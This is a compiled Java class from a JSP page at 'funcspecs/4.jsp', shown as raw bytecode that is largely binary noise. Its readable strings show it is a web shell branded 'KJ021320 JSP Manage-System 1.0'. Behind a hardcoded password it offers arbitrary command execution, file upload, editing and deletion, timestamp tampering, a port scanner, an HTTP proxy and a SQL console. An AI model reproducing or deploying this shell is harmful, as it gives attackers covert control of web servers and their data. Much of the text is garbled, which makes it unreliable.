1dorg/apache/jsp/funcspecs/_4_jsp%org/apache/jasper/runtime/HttpJspBase,org/apache/jasper/runtime/JspSourceDependentAPP_NAMELjava/lang/String; ConstantValue KJ021320 JSP Manage-System 1.0 portListenI openHttpProxyZ _jspxFactoryLjavax/servlet/jsp/JspFactory;_jspx_dependantsLjava/util/List;_el_expressionfactoryLjavax/el/ExpressionFactory;_jsp_annotationprocessor Lorg/apache/AnnotationProcessor;()VCode javax/servlet/jsp/JspFactory  getDefaultFactory ()Ljavax/servlet/jsp/JspFactory; " LineNumberTableLocalVariableTable ' % )  + - this!Lorg/apache/jsp/funcspecs/_4_jsp;mainForm2(Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)V Exceptions4java/lang/Exception64 8:9javax/servlet/jsp/JspWriter ;<print(Ljava/lang/String;)V>`
@%BGD0
FilePath:Fjava/lang/StringBuilderH/ ER STtoString()Ljava/lang/String;V'X!ZLGOtoLink\5
^ab1f
web_SiteoutLjavax/servlet/jsp/JspWriter;mainMenu2(Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;)Vm 8o p<printlnr'z;8888s
t uvico(I)Ljava/lang/String;x'FileOperation(File.class)
WEB Folder
&SystemInfo(System.class)
ServletInfo
SystemTools
Interfaces
About nonamed(kj021320)
 showFiles java/io/File J  isDirectory()Z exists  listFiles()[Ljava/io/File; length()JG
nametypesizemodify datereadonlycan writehiddenAction
TgetName DIR  getSize(J)Ljava/lang/String; java/util/Date  lastModified %(J)V E M-(Ljava/lang/Object;)Ljava/lang/StringBuilder; canRead E M(Z)Ljava/lang/StringBuilder; canWrite isHidden   fOperation'(ZLjava/lang/String;)Ljava/lang/String;
 file this folder size:pathfileLjava/io/File;maxSizeJf[Ljava/io/File;ishowSystemInfo (Ljavax/servlet/jsp/JspWriter;)V java/lang/System  getProperties()Ljava/util/Properties;  java/util/Map keySet()Ljava/util/Set;  java/util/Set iterator()Ljava/util/Iterator;
System Property info:
    java/util/Iterator next()Ljava/lang/Object;
  •   [   get&(Ljava/lang/Object;)Ljava/lang/Object; ]  hasNext

System CPU : java/lang/Runtime  getRuntime()Ljava/lang/Runtime;  availableProcessors()I !#"java/lang/String $vvalueOf&
(the JVM Free Memory : * + freeMemory-
the JVM Max Memory : / 0 maxMemorymapLjava/util/Map;setLjava/util/Set;itLjava/util/Iterator;oNameLjava/lang/Object; servletInfo=(Ljavax/servlet/ServletConfig;Ljavax/servlet/jsp/JspWriter;)V <>=javax/servlet/ServletConfig ?@getServletContext ()Ljavax/servlet/ServletContext;B Server info: DFEjavax/servlet/ServletContext GT getServerInfoI
KServletContext name: DM NTgetServletContextNamePMajor version : DR SgetMajorVersion EU MV(I)Ljava/lang/StringBuilder;XMinor version : DZ [getMinorVersion D] ^_getInitParameterNames()Ljava/util/Enumeration;ainit parameter:
cedjava/util/Enumeration f nextElementhkey:j value: Dl m~getInitParameter co phasMoreElementsconfigLjavax/servlet/ServletConfig;scLjavax/servlet/ServletContext;enLjava/util/Enumeration;initInfonamedownFile=(Ljava/lang/String;Ljavax/servlet/http/HttpServletResponse;)V !| }~getBytes()[B ISO-8859-1 ! %([BLjava/lang/String;)V &javax/servlet/http/HttpServletResponse resetContent-dispositionattachment;filename=""   setHeader'(Ljava/lang/String;Ljava/lang/String;)V  getOutputStream%()Ljavax/servlet/ServletOutputStream;java/io/BufferedInputStreamjava/io/FileInputStream J  %(Ljava/io/InputStream;)V !javax/servlet/ServletOutputStream write([BII)V  read([BII)I  close  flush   flushBufferfilenameres(Ljavax/servlet/http/HttpServletResponse;wbuffer[BboutFilesos#Ljavax/servlet/ServletOutputStream;bisLjava/io/BufferedInputStream; deleteFile  delete ! $&(Ljava/lang/Object;)Ljava/lang/String;delete success...file not find!! renameFile| ! indexOf(Ljava/lang/String;)I ! v substring ! (II)Ljava/lang/String;  renameTo(Ljava/io/File;)Z file move successsplit newFilenamecopyFilejava/io/BufferedOutputStreamjava/io/FileOutputStream J  %(Ljava/io/OutputStream;)V  (I)V  file copy error file copy successbosLjava/io/BufferedOutputStream;seditFilejava/io/IOException
File Path:.iN5
brLjava/io/BufferedReader;saveFile4(Ljava/lang/String;[BLjavax/servlet/jsp/JspWriter;)V !file save success#Error fileContent dateChangeh(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)V (*)java/util/Calendar +, getInstance()Ljava/util/Calendar; .0/java/lang/Integer 1parseInt (3 34(III)V (6 7getTimeInMillis 9 :;setLastModified(J)Z=file date change success?file date change errorAfile not find!!!yearmonthdaycalendarLjava/util/Calendar;execFile I JKexec'(Ljava/lang/String;)Ljava/lang/Process; MONjava/lang/Process PQgetInputStream()Ljava/io/InputStream;SGB2312U$ b c systemToolsrtLjava/lang/Runtime;psLjava/lang/Process;isrLjava/io/InputStreamReader;bufferC[CzipD(Ljava/lang/String;Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)Vojava/util/zip/ZipOutputStream n r stzipEntryX(Ljava/util/zip/ZipOutputStream;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Vvfile zip error nyzip okzipPathsrcPathoutputLjava/io/FileOutputStream; zipOutputLjava/util/zip/ZipOutputStream;  list()[Ljava/lang/String;   separator/ !  lastIndexOfjava/util/zip/ZipEntry J ! equals(Ljava/lang/Object;)Z  setSize  setTime  setCrcjava/util/zip/CRC32 '  n  putNextEntry(Ljava/util/zip/ZipEntry;)V n  update    getValuezipOsinitPathfilePath entryNamefiles[Ljava/lang/String;chPhidxentryLjava/util/zip/ZipEntry;ffcrcLjava/util/zip/CRC32;len bufferLeninputLjava/io/FileInputStream;upfileY(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;)V %javax/servlet/http/HttpServletRequest TgetContentType  P$()Ljavax/servlet/ServletInputStream;  9([BLjavax/servlet/ServletInputStream;Ljava/lang/String;)Iupload success! upload errorrequest'Ljavax/servlet/http/HttpServletRequest;boundarysis"Ljavax/servlet/ServletInputStream;line  javax/servlet/ServletInputStream  ! %  hLjava/io/PrintStream; ojava/io/PrintStreamlineByteservletInputstreamendStrstr newFolder  mkdirsthe folder create success!the folder create error foldername reflectAPI java/lang/Class forName%(Ljava/lang/String;)Ljava/lang/Class;   getInterfaces()[Ljava/lang/Class;   getSuperclass()Ljava/lang/Class; R  getDeclaredConstructors"()[Ljava/lang/reflect/Constructor;  getDeclaredFields()[Ljava/lang/reflect/Field;   getDeclaredMethods()[Ljava/lang/reflect/Method;  ,   getModifiers java/lang/reflect/Modifier Sv 
extends 
implemets
"
{
Constructor:
     !Field:
#Function:
%
} classNameclsLjava/lang/Class;ifString interfaces[Ljava/lang/Class; supperClassc [Ljava/lang/reflect/Constructor;[Ljava/lang/reflect/Field;mjava/lang/reflect/Method;scanPort4(Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;II)V6port setup error 8:9java/net/InetAddress ;< getByName*(Ljava/lang/String;)Ljava/net/InetAddress;>(org/apache/jsp/funcspecs/_4_jsp$ScanPort =@ %AY(Lorg/apache/jsp/funcspecs/_4_jsp;Ljava/net/InetAddress;IILjavax/servlet/jsp/JspWriter;)V =C Dstart FHGjava/lang/Thread Isleep strAddress startPortendPortiaLjava/net/InetAddress;pswitchProxyServiceR/org/apache/jsp/funcspecs/_4_jsp$RunProxyService QT %U%(Lorg/apache/jsp/funcspecs/_4_jsp;I)V QCX Proxy runningZ Proxy closed ConnectionDBM(Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V^#org/apache/jsp/funcspecs/_4_jsp$DBM ]` %a(Lorg/apache/jsp/funcspecs/_4_jsp;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)VcLDB ]e flookInfo ]h i< executeSQL ]k lcloseAlldriverurluserNamepassWord sqlActionsqlCmddbm%Lorg/apache/jsp/funcspecs/_4_jsp$DBM;vxhz|~ O++p/STuserInterFacesFif u want to add an function ,u can coding in 'userInterFaces'function encodeChange ! }(Ljava/lang/String;)[Bgb2312 ! replace(CC)Ljava/lang/String;folderDeleteRenamesetDateZip.')">setDateCopyEditDown@ E'java/lang/Long GMK ! $Bsize&#numjava/lang/StringBuffer ' ! charAt(I)C<  M,(Ljava/lang/String;)Ljava/lang/StringBuffer;>   M(C)Ljava/lang/StringBuffer; !  RhtmlCodesbLjava/lang/StringBuffer;C getDependants  _jspInit  getServletConfig()Ljavax/servlet/ServletConfig;  getJspApplicationContextI(Ljavax/servlet/ServletContext;)Ljavax/servlet/jsp/JspApplicationContext; 'javax/servlet/jsp/JspApplicationContext getExpressionFactory()Ljavax/el/ExpressionFactory;  org/apache/AnnotationProcessor D  getAttribute&(Ljava/lang/String;)Ljava/lang/Object;   _jspDestroy _jspServiceR(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V javax/servlet/ServletExceptiontext/html;charset=gbk  <setContentType  getPageContext(Ljavax/servlet/Servlet;Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;Ljava/lang/String;ZIZ)Ljavax/servlet/jsp/PageContext; >javax/servlet/jsp/PageContext    getSession"()Ljavax/servlet/http/HttpSession;  !"getOut()Ljavax/servlet/jsp/JspWriter;$ 8& < 8 )+*javax/servlet/http/HttpSession ,setMaxInactiveInterval D. /~ getRealPath 1 2T getRequestURI4ID )7 testing0129LName ; <~ getParameter>LPass@1 )B CD setAttribute'(Ljava/lang/String;Ljava/lang/Object;)V F G< sendRedirectI


KJ021320 JSP Manage-System 1.0

username:
password:
K LMreleasePageContext"(Ljavax/servlet/jsp/PageContext;)VO Q SD UW� Y i   Action0  jk FolderPath  ~  k   9:Filename  yz  1  1 FileContent    1  1BCD  %&G  G1  lm UPaddress    k  k IPaddressKL  23m#conUrl%user'password)run+sqlcmd - [\ / P 1  3 015 88#javax/servlet/jsp/SkipPageException 8: ; getBufferSize 8= > clearBuffer @ ABhandlePageException(Ljava/lang/Throwable;)V DFEjava/lang/Throwable GT getMessage I JKlog*(Ljava/lang/String;Ljava/lang/Throwable;)Vresponse pageContextLjavax/servlet/jsp/PageContext;session Ljavax/servlet/http/HttpSession; application _jspx_out_jspx_page_contextWEB_SITEURLusernameactiontLjava/lang/Throwable; SourceFile _4_jsp.java InnerClassesDBM_)org/apache/jsp/funcspecs/_4_jsp$HttpProxy HttpProxyRunProxyServiceScanPortSourceDebugExtension1   $+!# $%Q*&* (***,# $ ./0123{,57,=7,?7,A7,C7,EYGI+KOKQ7,U7,W7,Y7,[7,]7,_7,EYaI+KcKQ7,e7#> 7=C I!O"U#[$t%z&$ {./{g{hijk23?+ln+EYqI*:sKwKQn+EYyI*,{KK,KK*0sKKQn+EYI*5sKKQn+EYI*5sKKQn+EYI*5sKKQn+EYI*9sKKQn+n+n#* )*$+X,v-./012$ ./higk23RY,N 7---:+n6g2a72+EYI*2{KK*0sK2KK*2KKY2·ŶK2˶K2ѶK2ԶK*2׶K۶KQn+EYݷI*2sK2K߶K*2KKY2·ŶK2˶K2ѶK2ԶK*2׶K۶KQn+n+EYI*KQ7#:5 6 78 9&:,;9<D=?:ABD$H./hi   )o 23\MN:M,N-:+n9:+EYI K, KQn+7+EY I%KQ7+EY'I*)KQ7+EY,I*.KQ7#BGHIW XYZ [#\,]Y[c_j`abc$>./hi123456,-789:23+;N,EYAI-CKHKQn,EYJI-LKHKQn,EYOI-QTHKQn,EYWI-YTHKQn-\:`:,7@b!:EYgIKiK-kKHKQ:,7n#:fg'hGigjklmnopqnt$H./qrhistVuvQw1xyz23 >:Y+{:!Y:,,EYIKKQ,::YY+: Y> W$:  ,Y3Y#Vwx yz'{-|N}V~Yjmv$\ ./  'VgYd123:Y+N-%-%,EY+·IŶKQ7 ,Ƕ7# /29$*:./::hi 1123_+ʶ>+`:+LY+:0Y֙&,EY·IڶKQ7 ,Ƕ7#& "*TW^$>_./__hiW N"=123 +ʶ>+`:+LY+:::YY+:YY:6 Y6;W,780:  ,EY·IKQ7 ,Ƕ70lo30w#n"%(0ASVY`lpw$\ ./hi "%(V 122Y+N,7,EYI+KKQ7,7,7,7-FYYY+  :: ,*nY: W,7,7G3#B +29@Gbgjt$>./hi bg2d+,W:YY+:,,:-EY+·I KQ7 -"7 ((#2  %*47AY\c$4d./dd$dhi N%&2 wY+:_':,----258EY+·I<KQ7'EY+·I>KQ7 @n#* )6Rknv$Rw./wwBwCwDwhi mTEFG123b >:+H:::YLR :,T7,*!YV7YY>ߧ'W,\7$^:^^,_7*,aX[3cp#R*14GX\cpr|$R./hi defghi}jklm23 k::Y+:nYp:*,,+q'W-u7$w:ww-EYxI+KQ7$'3/<#:  $ ( /< >HKUj$>k./kzk{khih|}e~st23@-:Y-:@:6**+,EY-·IK2KQqԱ,,`:,6 -:Y: Y-:      ¶ Y:  + 6 : 6:Y-:+      Y6 ߧ W$:   3#& "FQRaiow"#$%&()*+,-./12342 6878(9+85:?;$@./@@@@z= 362 ai    u n i f23 +:+:::66 *6  YY-:*6,˶7'W,Ͷ7$:  =tw3=#Z> ?@AB"C(D4C=GNIQJ[KgImMtNxOQPQRQS$f ./hi " % 46,++6!Y+:-W.13#& VW XY"Z,[/]1^2_$>4./444. k23~"Y,N- +7 +7#d efgh!j$*"./"hi" k23R F,N:-:-:-:-:-: 6 (EY·I 2 K KQ:  +EY I-KK-KKKKQ7+76 %+EYI 2HKQ7  + 76 %+EYI 2HKQ7  +"76 %+EYI  2HKQ7   +$7#fmo pqrs%t+v1wSv^y{|}|~3>E$F./FhiF&A'( <)6*+-,'-.%!/+01 .0 - - - 2323^44 +57,7:6=Y*`+?BlhE#& %&,2GQ]$H^./^hi^J^K ^L ,2MN/"O P23}5**,Z,QY***SV+W7 +Y7##*-4$5./5hi[\23 1]Y*,-+_:b d gj#!$+0$\ 1./1hi1m1n1o1p1q1r stc23C+u7+w7+y7+{7+}7+7+7+7+7+7+7+7+7+7+7+7+7+7+7+7*, +7 +7+7#j#*18?FMT[bipw~$./hi23@+7# $./hi~23T+!Y+#$./}~= +\/#$ ./ IEYI*,{KK*,{KK*,{KK*,{KKQEYI*,{KK*,{KK*,{KK*,{KK*,{KK*,{KKQ#J$ ./#EYYmKQ#EYYmöKQŔ#EYYmǶKQEYɷI˶KQ#(0PXx$./uvLEYηITжKQ#$./ ~aYM>6F+><,ڶW+>,߶W ,W ,W+,#*  (9JP\$4a./aY W- O .#$ ./f4*!*;**; #3$ 4./ +#$ ./  2  N:::::: ,!*+, N-: -:-:-:-::#%#% ' 'p(*-{: +0: 35p6: 6: +8:I+=:=+8: ,+=: 3?A, E Hn! J#%N%P%R%T% 7V%X%Z%\%^%`%b%d%f%h%j%l%n%p%r%t%v%x%z%t%|%~%%z%t%%%%z%t%%%%%%%t%%%%%%%t%%%%%%%%%%%%%%%%%%%%%t%%%%%%%%t%%%¶%Ķ%ƶ%ȶ%ʶ%̶%ζ%ж%Ҷ%Զ%ֶ%ض%ڶ%ܶ%޶%%t%%%%+::   6  As?+UW|A)* **+:****+:,! J**+:**+:**+:+:**+:r**+:\**+:+ :+ :+ : +**+:**+:*+:*+*+:**+:**+:**+:+:-+:-**+!:*+":*+$:*+&:*+(:*+*:,**.!*0*a* 2W476Y:  77:9 <W   ?* C H! J:! J! J KoM3xJM3^Do^Dx[^Dy~ox# #)-06<BHLT\cjt   &.5= E!M"U#]$e%m&u'}()*+,-./0123456789 :;<%=->5?=@EAMBUC]DeEmFuG}HIJKLMNOPQRSTUVWXY Z[\%]-^5_=`EaMbUc]deemfug}hijklmnopqrstuvwxy z{|%}-8K(3IR]owx&<_v'09BJNV[`hly$./LMNOPQt qrhiRiSN T U hV c' 8# KW `<XY Z[\"]]^`Qa=bcSMAP _4_jsp.java JSP *S JSP *F + 0 4.jsp funcspecs/4.jsp *L 1,3:767 4,706:18 709:769,2 711,21:772 731,4:793 735:797,3 736,130:800 *E
System class runfilepath:
file uploadfile:up to file
new filefile full name:
Create folderfolder fullname:
Reflect APIClass Name:
Scan PortIP:Start Port:End Port:
DBMDriver:URL:user:password:SqlCmd:
OpenTheHttpProxy
CloseTheHttpProxy